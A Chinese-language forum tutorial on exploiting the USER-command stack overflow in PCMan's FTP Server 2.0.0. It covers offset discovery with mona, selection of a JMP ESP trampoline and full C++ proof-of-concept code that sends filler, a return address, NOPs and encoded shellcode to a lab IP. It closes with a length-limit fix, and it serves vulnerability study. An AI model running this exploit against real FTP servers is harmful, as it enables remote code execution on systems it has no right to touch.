首页
论坛
课程
招聘
[原创]PCManFTPD2.exe经典缓冲区溢出漏洞[详解]新版
2021-6-12 21:02 3593

[原创]PCManFTPD2.exe经典缓冲区溢出漏洞[详解]新版

2021-6-12 21:02
3593

1.软件简介

PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点

软件界面

图片描述

漏洞成因

PCMan's FTP Server 2.0.0版本中存在缓冲区溢出漏洞。远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。
原因:未对USER命令长度做限制

环境和工具:

PCMan's FTP Server 2.0.0,x32dbg,windbg,Mona2插件,vs,win7-x86

具体思路步骤:

  1. 首先确定异常点的偏移,可以使用二分法和有序数.(这里使用windbg的插件Mona2自动生成有序数实验)
  2. Windbg(用来定位 JMP ESP地址)
  3. x32dbg测试
  4. vs编写测试代码和ShellCode

    配置环境:

    1.虚拟机win7旗舰版sp1
    2.安装wdk,自带windbg
    3.安装python2.7.2
    4.安装Visual C++2008库
    5.安装WinDbg的Python插件Pykd
    6.复制mona.py和windbglib.py到WinDbg同目录
    7.运行WinDbg随便调试一个程序进行测试以上环境

    windbg指令 说明

    图片描述

    测试环境:

    pykd.pyd测试

    图片描述

    mona测试

    图片描述

    软件测试:

    FTP需要符合标准才可以通信:RFC959
    因为此漏洞溢出点在登录阶段,所以只要建立FTP连接就可以了
    1.建立Socket连接,连接目标FTP
    2.接受FTP服务器的欢迎语(用于测试响应状态)
    3.发送“USER anonymmous”到FTP
    4.接受请求结果

    与ftp软件建立通讯测试vs代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<stdio.h>
#include<winsock2.h>
#include<windows.h>
#pragma comment(lib,"Ws2_32.lib")
int main()
{
    WSADATA stWSA;
    WSAStartup(0x0202, &stWSA);
    SOCKET stListen = INVALID_SOCKET;
    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("192.168.132.130");
    stService.sin_port = htons(21);
    stService.sin_family = AF_INET;
    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
    //4.接收欢迎语
    char szRecv[0x100] = { 0 };
    char* pCommand = (char*)"USER anonymmous";
    recv(stListen, szRecv, sizeof(szRecv), 0);
    //5.发送登录请求
    char cExpolit[] = "USER anonymmous";
    send(stListen, cExpolit, strlen(cExpolit), 0);
    recv(stListen, szRecv, sizeof(szRecv), 0);
    //6.关闭相关句柄
    closesocket(stListen);
    WSACleanup();
}

FTP软件通讯测试

图片描述

构造顺序字符串

用mona构造生成一个3000个字节的顺序字符串,用于测试溢出点
命令:!py mona pc 3000
图片描述

输入命令:

0:003> .load pykd.pyd
0:003> !py mona
图片描述
将复制的顺序字符串替换掉" USER anonymmous "如图
图片描述

再次发送测试

发现测试代码停在等待服务器信息处不能退出
图片描述
虚拟机中的FTP程序已经崩溃
图片描述

打开windbg,附加FTP软件,查找溢出点

  1. 先运行PCManFTPD2软件
  2. 打开windbg按F6附加程序
  3. 在windbg输入命令
    a) .load pykd.pyd
    b) !py mona
    c) 按F5运行
  4. 让FTP处于接收状态
  5. 点击vs代码运行
    图片描述
    因为是用mona生成的顺序字符串,可以直接查询异常偏移点
    图片描述
    得到偏移后,在系统中查找一个JMP ESP作为跳板
    注意:我们尽量找不含00字节的地址,因为我们传输的是字符串方式,一般默认为00 是结束符,可能会产生截断.这里找kernel32.dll中的.
    图片描述
    这里选取0x75b7f8f7为跳板地址
    ShellCode组合逻辑
    第二个是:无意义的字符串,大小2008个字节
    第三个是:找到的JMP ESP地址:第2009个字节开始
    为防止jmp eap 后的ret,跟18个 ‘\x90’字节’
    第四个是:拼接ShellCode,测试效果
    图片描述
    图片描述

    构造Exploit

    1
    2
    sprintf(cExpolit1, "%s%s%s%s", cFill, cJmpesp, cNop, bShellcode);
    //注:ShellCode中不能有0x00,0x0a,0x0d,0x20因为这些ASCII一般被解释为截断,回车换行等,可能发生意外情况.

    再次测试:

    在0x75b7f8f7 jmp esp 处下断点
    图片描述
    图片描述
    图片描述

    PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
C++脚本:
#include<stdio.h>
#include<winsock2.h>
#include<windows.h>
#pragma comment(lib,"Ws2_32.lib")
char cExpolit1[3000] = { 0x00 };
char bShellcodeHelloWord[] = \
"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1C\x33\xC9\x66\xB9\x37\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07\xFF\xE6"\
"\x67\x84\xEB\x27\xEC\x4B\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63" \
"\x75\x62\x74\x74\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42" \
"\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62" \
"\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75" \
"\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x07\x36\x32\x57\x45" \
"\x26\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07\x8C" \
"\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x13\x07\x07" \
"\x07\x8C\xF7\x55\x8A\x4C\xBA\x56\x55\xF8\xD7\x5D\x54\x51\x57\x55" \
"\xEF\x69\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C" \
"\x75\x3B\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A\x3B" \
"\x3D\x8E\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23" \
"\x8A\x3B\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33" \
"\x81\x8C\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA8\xBE\x09\x07" \
"\x07\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41" \
"\x8C\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A" \
"\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCB\x6D" \
"\x07\x6D\x07\x56\xF8\x52\x0B\x8A\x4C\xD0\x56\x57\xF8\x52\x17\x8E" \
"\x42\xFB\x8A\x4C\xE4\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A" \
"\x4C\xE8\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52\xFF" \
"\x8C\xE2\x5A\xC5\x17\x07\x07";
int main()
{
    WSADATA stWSA;
    WSAStartup(0x0202, &stWSA);
    SOCKET stListen = INVALID_SOCKET;
    stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
    SOCKADDR_IN stService;
    stService.sin_addr.s_addr = inet_addr("192.168.132.130");
    stService.sin_port = htons(21);
    char cFill[3000] = { 0 };//修改为0x3000
    char cNop[51] = { 0 };
    memset(cFill,'A',2008);//注意为'单引号
    memset(cNop, '\x90', 50);
    char cJmpesp[] = { "\xF7\xF8\xB7\x75" };
    sprintf(cExpolit1, "%s%s%s%s%s", cFill, cJmpesp, cNop, bShellcodeHelloWord, "\r\n");   
    stService.sin_family = AF_INET;
    connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
    //4.接收欢迎语
    char szRecv[0x100] = { 0 };
    char* pCommand = (char*)"USER anonymmous";
    recv(stListen, szRecv, sizeof(szRecv), 0);
    //5.发送登录请求
    send(stListen, cExpolit1, strlen(cExpolit1), 0);
    recv(stListen, szRecv, sizeof(szRecv), 0);
    //6.关闭相关句柄
    closesocket(stListen);
    WSACleanup();
}

结语

对jmp esp 0x75b7f8f7下断点,发现堆栈地址为0x12ed70

 

图片描述
再用刚才的poc,寻找没有覆盖溢出点的地方,然后我们在这个地方下硬件写入断点,然后观察堆栈以及数据覆盖变化
找能下断的地方
硬件写入断点ba w4 0012ed60 ".if(poi(0012ed60 )=0x41414141 ){}.else{gc}"
断下了
图片描述
图片描述
图片描述
图片描述

验证

图片描述

解决方法:

为避免此种问题,应对USER命令长度做合理限制,避免溢出.

参考资料

<15PB信息安全教育-漏洞利用> ---任晓辉
<漏洞利用之PCMan-s FTP笔记> ---刘晨星


2021 KCTF 秋季赛 防守篇-征题倒计时(11月14日截止)!

上传的附件:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回